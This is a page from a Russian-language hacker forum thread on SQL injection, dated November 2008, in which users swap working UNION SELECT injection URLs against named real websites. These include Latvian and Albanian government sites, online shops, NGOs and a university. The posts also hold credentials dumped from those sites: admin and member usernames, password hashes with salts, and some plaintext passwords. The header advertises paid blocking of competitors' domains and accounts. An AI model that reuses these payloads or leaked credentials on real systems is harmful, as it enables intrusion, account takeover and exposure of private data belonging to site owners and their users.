Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 685 из 1242

685

Опции темы

Поиск в этой теме

Опции просмотра

#6841

12.11.2008, 06:06

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Отправить сообщение для sabe с помощью ICQ

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

FNS, cremator (c)

ламал недавно) можно достать модераторов.. и вешать активные хсс.. дальше не смотрел..

#6842

12.11.2008, 22:55

truelamer

Участник форума

Регистрация: 06.11.2007

Сообщений: 143

Провел на форуме:
350782

Репутация: 81

http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,version(),5,6,7--

5 ветка

http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,concat(table_name,char(58),ta ble_schema),5,6,7+from+INFORMATION_SCHEMA.tables--

joomla)

jos_users:hatkz_autosapa - видим что таблица пользователей находится в бд hatkz_autosapa

и поэтому:

http://www.hat.kz/?order=3&category=-1+union+select+1,2,3,concat(username,char(58),pass word,char(58),email),5,6,7+from+hatkz_autosapa.jos _users--

admin:0cc399da4fb1e5952f2b30c0bd84d6ad:1vt3X6E9loX O5f9W:auto@sapa.kz

#6843

13.11.2008, 01:03

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Отправить сообщение для -m0rgan- с помощью ICQ

Зона gov:

Код:

http://www.lvif.gov.lv/?object_id=1344+union+select+1,name,3+from+VF_admins--

Код:

http://www.lvif.gov.lv/?object_id=1344+union+select+1,password,3+from+VF_admins--

логин/пасс:

Код:

videsinvfonds:f7S2ApsSKXbP

Код:

Fonds:tests

----------------------------------------

Код:

http://www.mete.gov.al/rub.php?idr=121+and+1=2+union+select+1,2,3,4,5,6,concat(username,char(58),password),8,9,10,11,12+from+editor--

логин/пасс:

Код:

admin:da6908b78bbf1e1541001e8e3dbf2467

----------------------------------------

Код:

http://www.ert.gov.al/ert_alb/cal_det.html?Id=23+and+1=2+union+all+select+1,concat(userid,char(58),password),3,null,null,null,null,null+from+users/*

логин/пасс:

Код:

altink:altinx

-----------------------------------------
Покаместь все....

Online магазин

#6844

13.11.2008, 03:15

FNS

Новичок

Регистрация: 07.11.2008

Сообщений: 17

Провел на форуме:
51589

Репутация: 55

Отправить сообщение для FNS с помощью ICQ

Online магазин

Код:

http://urshop.tv/product-view.html?p=-98+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+users--

Цитата:

http://urshop.tv/admin/

Последний раз редактировалось FNS; 13.11.2008 в 20:14..

#6845

13.11.2008, 11:58

truelamer

Участник форума

Регистрация: 06.11.2007

Сообщений: 143

Провел на форуме:
350782

Репутация: 81

4 ветка, читалка файлов не работает, доступа к mysql.users нет.

http://www.pluralism.org/news/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39,40,41,42+/*

Последний раз редактировалось truelamer; 13.11.2008 в 12:00..

#6846

13.11.2008, 13:27

vladim1

Новичок

Регистрация: 12.11.2008

Сообщений: 12

Провел на форуме:
151764

Репутация: -1

Цитата:

http://www.revolution.com.mk/info.php?productID=1301+UNION+SELECT+1,2,CONCAT(us er(),0x2D,version(),0x2D,database()),4,5,6,7,8,9,1 0,11,12,13,14,15--

HARDWARE SHOP

#6847

13.11.2008, 17:55

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Код:

http://www.robappelhof.com/view.php?sub=yes&id=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9+from+users/*

логин/пасс:

Код:

sdf:asdf

--------------------------------------------

Код:

http://www.ghanadate.co.uk/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*

логин/пасс:

Код:

montego1234:cf160b832b994d0ca868dc74ef856880

----------------------------------------

Код:

http://www.fqs-al.org/index.php?faqe=list&kid=-9999+union+all+select+1,concat_ws(char(58),user,password),3,4,5+from+mysql.user--

логин/пасс:

Код:

yroot:129861984de011d2

Код:

fqsweb:51dbed7249c11393

Код:

fqs:34a07b654db61525

Код:

yscr_a8fGf:261cc0e75ff78611

--------------------------------------------

Код:

http://www.co-plan.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a

логин/пасс:

Код:

admin:fe01ce2a7fbac8fafaed7c982a04e229

-------------------------------------------------

Код:

http://comenri.com/index.php?option=com_simpleshop&task=browse&Itemid=30&catid=-1+UNION+SELECT+user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user()+FROM+jos_users--

логин/пасс:

Код:

admin:acedc1e07c3ea3d226615527a4983e37:WQkaXp1lbltQZCmR

------------------------------------------------

Код:

http://www.yappika.or.id/index.php?option=com_beamospetition&pet=-5%20UNION%20SELECT%20user(),user(),user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user()%20FROM%20jos_users--&lang=id

логин/пасс:

Код:

admin:c3839ac39113c5a82ca8547820819dbc:g454EJEzLbYjADq5

Код:

fahrul:eea3b7ed87cdf07e7bbc4d577ccb6b5d:dixDCoe9nsft5h11

Код:

Myleea:0f7b2d7ed181fd33cddc1ba9d79869d7:XpcWyKrnQgJuUXwU

Код:

Ira_Nezabudka:fd8ccc478642302747a2c4dc335a343a:PJkHhgwsMsFbSBnC

Код:

Rini:5b68afeea28450750bc4e055c109d752:NbEsp3lBDRnQhxJO

Код:

sawsarpaltela:54708a96d0ae079776ecefc35151d783:QHdpwJ6XhdsqRERs

Код:

wergiewom:06ecaade2a8f9d3ebf49a44ce7bb96d6:4OtKGLPrFWsx1C85

Код:

Meloomime:d56dfae4bfbf100ed8b564587b3d672c:NFvCoL8vqnhbnQeP

Код:

Kibeirreste:9ae987505c6b005935c50074ea356193:mPrgld5lDjYniO6n

Код:

teja:3a39d97d4bd94cefacc88db044dc3c0e:D5vPL3RHV8qJK9je

Код:

Bambang:8bad21a0c5711f985d4a2a7d80d26f73:VXxkMgQnu1jS8WIF

Код:

shewiya:553761834941e5a605c80fd204a03786:CPk64H3Md7HYO323

Код:

abu_rayyan:dc4678a51b68b10d2516c24e8fa6037e:MpRjGYy7zeTjBtMA

Код:

margarittaes:9346bb6ebd998c9b40a4b1dc716c238f:pR3GHfgyZutYRLe4

Код:

sennioritta:2ef9195156e87d73787c7c1310a6bafc:aPKIaUJY6U02YEdz

Код:

Lilis:b6694dc2469ab892ab1593440aa0bfc8:uabh5vGv4tWSPkGH

Код:

oppownmix:878a75e5bf8a8c4d919da7ad46273d3e:VEJrYYnSXMUMH71f

------------------------------------------------

Код:

http://www.heibai.net/article/forum_zoom.php?forumid=15)+and+1=2+union+select+1,concat(username,0x3a,password),3+from+user+where+userid=1/*

логин/пасс:

Код:

starkun:f0295802427cb4e72233d6d2b97e62e1

-------------------------------------

Код:

http://www.chemistry.montana.edu/news.php?id=4990+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7+from+mysql.user/*

Код:

root:05980b2317eaa529

----------------------------------------------
The End!

#6848

13.11.2008, 19:48

groupby

Познающий

Регистрация: 21.09.2008

Сообщений: 42

Провел на форуме:
127017

Репутация: 61

Код:

http://www.music.md/studio.php?stdid=-1%20union%20select%201,2,3,4,5%20from%20tbuser/*

Не могу найти ни одной колонки из этой таблицы гребаной. В общем дружно ломаем

#6849

13.11.2008, 21:06

foopi

Познающий

Регистрация: 26.10.2008

Сообщений: 50

Провел на форуме:
536527

Репутация: 62

Отправить сообщение для foopi с помощью ICQ

http://www.music.md/studio.php?stdid=-1+union+select+1,2,concat_ws(0x3a,usrLogin,usrPass wd),4,5+from+tbuser+limit+0,1/*

пароли подходят к форуму

Последний раз редактировалось foopi; 13.11.2008 в 21:14..

#6850

13.11.2008, 23:50

Fugitif

Постоянный

Регистрация: 23.09.2007

Сообщений: 416

Провел на форуме:
1781065

Репутация: 869

Код:

http://cartoons.sev.com.au/index.php?catid=-1%20UNION%20SELECT%20concat(name,char(58),password),2,3,4,5,6,7,8,9,10%20FROM%20user%20LIMIT%201,1/*

Код:

http://cartoons.sev.com.au/index.php?catid=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10/*

Код:

http://www.pajuraturda.org/album.php?catid=-1%20UNION%20SELECT%201,concat_ws(0x3a,version(),database(),user()),3/*

Цитата:

4.1.22-standard

ajura_phpb1

ajura_galeria@localhost

Код:

http://www.pajuraturda.org/album.php?catid=-1%20UNION%20SELECT%201,concat(user_password,char(58),username),3%20FROM%20phpbb_users%20LIMIT%201,1/*

Цитата:

68b6dbf8be7603ea668ae8da6ea3a199:avaka

Страница 685 из 1242

685

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход